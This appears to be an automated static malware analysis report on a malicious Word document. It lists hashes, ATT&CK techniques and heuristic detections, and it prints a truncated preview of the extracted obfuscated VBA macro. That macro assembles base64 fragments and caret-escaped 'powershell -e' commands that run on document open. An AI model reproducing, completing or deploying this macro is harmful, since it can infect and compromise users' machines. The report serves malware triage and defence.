Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e134765d2947d399…

MALICIOUS

Office (OLE)

62.5 KB Created: 2017-10-17 16:39:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: fe5faf6f351cdbcb34fe339a3755787c SHA-1: 4f16700439f9804bdb501a20baa583195bcb4ff0 SHA-256: e134765d2947d399bb1cb52d48a908de976b12b07f48089fee06b7d7ecbfba3b
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The 'AutoOpen' macro is present and utilizes the 'Shell()' function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads. The ClamAV heuristic also flags this as obfuscated malware.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7077 bytes
SHA-256: 2b95872ec9624d174a9d4be82a94332c0a70ffaa2433f12be6827100c9bba91d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub QEpFqCHOS()
trwjwFtz = "NQU6AEgAIAB7ACgAWwBpAE4AdABdACQAXwAgACNYW9D9MRGPN"
wZABNw = Mid(trwjwFtz, 5, 34)
PiTHMIrohl = wZABNw
AJCNbzzLwI = "1CD4ILBUZN8PLT67IK7TC4ZLMAA4AFcAMQAwADgATAA1ADkAJgAzADYALAAxADEAOQBnADEAMAAxACwAOQA4AFcAOQA5ACwAMQAwADgAaQAxADAANQA8ADEAMAAxAEwAMQAxADAALAAxADEANgBXADMAMgBrADYAMQBnADMAMgAmADEA9AJ"
RKLEoP = Mid(AJCNbzzLwI, 25, 152)
wBAQjNGXB = RKLEoP
KkkdoHDvbC = "N6Q00AQQBzAFsAQwBIAGEAUgBdACkAIAB9ACAAKQAtAEoAbwBpAE4AIAAnACcAIAApACAACTIWFYW0807H69GK1YV"
HMstXfQNTm = Mid(KkkdoHDvbC, 5, 66)
ElhFscSAHZ = HMstXfQNTm
CUjwviO = "A85L5AGsAMwA5AGsANAA2AFcAOAAzACYAMQAxADIAZwAxADAAOABnADEAMAA1AEwAMQAxADYATAA0ADAAaQAzADkAaQA0ADQ60ULQDX6R9KQAS3"
dbuRqBiM = Mid(CUjwviO, 5, 92)
ihSKWFK = dbuRqBiM
YKqulLQ = "O2BB4WRAL7ZKX1VMTH57VJKNXOPX8set %QEpFqCHOS%=p^owe^rs&&set %sVKOHrWpo%=he^ll&&!%QEpFqCHOAXNWUIYL5"
jmdkzLboR = Mid(YKqulLQ, 30, 59)
jQzRGtbii = jmdkzLboR
XNcvRJZR = "4XJ9FAX5YADAAawAxADAAOAAmADEAMQAxAGcAOQA3AHQAMQAwADAAZwA3ADAAVwAxADAANQB0ADEAMAA4ACwAMQAwADEAegA0ADAAdAAzADYAJgAxADEANwA8ADEAMQA0AGcAMQAwADgATAA0ADYAdAA4ADQAaQAxADEAMQBpADgAMwAmADEAMQA2ADwAMQAxADQAdAAxADAANQAmADEAMQAwAFcAMQAwADMAPAA0ADAAJgA0ADEAaQA0ADQAdAAzADIAVF3D"
LRFUH = Mid(XNcvRJZR, 10, 253)
zSHhM = LRFUH
PfcIXJn = "1DTMQAwADwAMQAwADEAJgAxADEAOQAmADQANQBpADEAMQAxAHoAOQA4AEwAMQAwADYAawAxADAAMQAmADkAOQA8ADEAMQA2AFcAMwAyAGcAOAAzACwAMQAyADEALAAxADEANQBXADEAMQA2AFcAMQAwADEAaQAxADAAOQB6ADQANgBrADcAOAAmADEAMAAxACYAMQBZ5ICKA0ZGQI43V34WDZJTCO2699PI"
iMPuNLfmuM = Mid(PfcIXJn, 4, 194)
MiUjIoTJQ = iMPuNLfmuM
DDoHn = "JM8Q3VD36IP6PHSAVM9AMABMADkANwA8ADEAMAA5AEwAMQAwADEAVwAzADIAaQA2ADEALAAzADIAaQAzADYAZwAxADEANABrADkANwAmADEAMQAwAGsAMQAwADAATAAxADEAMQA8ADEAMAA5AHoANAA2AGcAMQAxADAATAAxADAAMNJOVQL1BNNSA9"
uipOMXAaj = Mid(DDoHn, 20, 154)
PONjsd = uipOMXAaj
PHEpmnI = "LB6JLFOANYQTCKXGGL3JAPAAxADEANAAmADkANwBpADEAMQAwAEwAMQAwADAAawAxADEAMQBrADEAMAA5AHoAMwAyAFcANgAxAHoAMwAyACwAMQAxADAAawAxADAAMQBrADEAMQA5ADwANAA1AHQAMQAxADEAVwA5ADgAaQAxADAANgBnADEAMAAxAFcAOQA5ACYAMQAxADYAegAzADIML4"
jsuzzEwE = Mid(PHEpmnI, 21, 192)
rGSjiFz = jsuzzEwE
jtmiWXR = "HIEMRYX5ML6BM6LVX5VGI9GM14QJN5CFGZFNEAPAAxADAAOQBpADI7"
cuSRqa = Mid(jtmiWXR, 37, 16)
lNSIzzPnb = cuSRqa
pzLjsn = "367AKV9DZ9FF45YJKMADEAMAA3AGsANQA5AFcAMQAyADUATAA5ADkAaQA5ADcAaQAxADEANgB6ADkAOQA8ADEAMAA0ACYAMQAyADMAdAAxADEAOQA8ADEAMQA0ACYAMQAwADUATAAxADEANgBpADEAMAAxAGkANAA1AGkAMQAwADQAPAAxADEAMQBXADEAMQA1ADwAMQAxADYAaQAzADIAZwAzADYDSWYQ0KHW79D517WX8I"
JJbWP = Mid(pzLjsn, 18, 204)
zPIiNuwtJ = JJbWP
FbKTis = "QOXPQB6ADEAMgAwAGcAMQAxADYAegA0ADAAPAA0ADkAJgA0ADQAegAzADIAegA1ADQAJgA1ADMATAA1ADMATAA1ADEAegA1ADQAVwA0ADEATAA1ADkAawAzADYALAAxADEAMgAmADkANwB6ADEAMQA2AGkAMQAwADQATAAzADIAVwA2ADEAdAAzADIAZwAzADYAZwAxADAAMQAsADEAMQAEZTGI2606IXJQNEX1LTW76UTZJLA"
jimcUpAutB = Mid(FbKTis, 5, 210)
BpGamzziPN = jimcUpAutB
LpAYT = "7HEM6Q4Q52E3cAMwAyADwAMwA2AGcAMQAxADcAegAxADEANABrADEAMAA4ACwAMQAxADUATAA0ADEAaQAxADIAMwBXADEAMQA2AEwAMQAxADQAegAxADIAMQAmADEAMgAzADwAMwA2ACYAMQAxADkAPAAxADAAMQBXADkAOABrADkAOQB0ADEAMAA4ACwAMQAwADUALAAxADAAMQB0ADEAMQAwACYAMQAxADYAZwA0ADYATAA2ADgAZwAxADEAMQBrADEAMQA5AGsAMQAx3ABKK"
DfpMWEdbTv = Mid(LpAYT, 13, 262)
sXYznjb = DfpMWEdbTv
SzDXWChB = "GAxADYAJgA0ADYAegA4ADcAZwAxADAAMQB6ADkAOAA8ADYANwBXADEAMAA4AGsAMQAwADUAaQAxADAAMQA8ADEAMQAwAGcAMQAxADYATAA1ADkAPAAzADYIZQ2FBRC7PWKRQ"
PfbDYF = Mid(SzDXWChB, 2, 117)
PSfwBhWb = PfbDYF
bPVkbcwGdlr = "5GXRGB7AMAAyACYAMQAxADEAZwAxADEANAA8ADEAMAAxAGcAOQA3AFcAOQA5AFcAMQAwADQAegA0ADAAZwAzADYAawAxADEANwBpADEAMQA0ADwAMQAwADgATAAzADIAPAAxADAANQA8ADEAMQAwAGGS7USKRSF8KEK2XDH8"
nORcDSCimW = Mid(bPVkbcwGdlr, 8, 143)
YnvLZEvi = nORcDSCimW
GGqNson = "O9OATB7T5I2SND3PMXQZUYNZKK25YLHZS%!!%sVKOHrWpo%! -e IAAmACAAKAAgACQAcABzAGgATwBtAGUAWwA0AF0AKwAkAFAAcwBoAG8AbQBFAF0BOAR8"
GKoWWintT = Mid(GGqNson, 33, 82)
GIlffQWzf = GKoWWintT
jZ
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.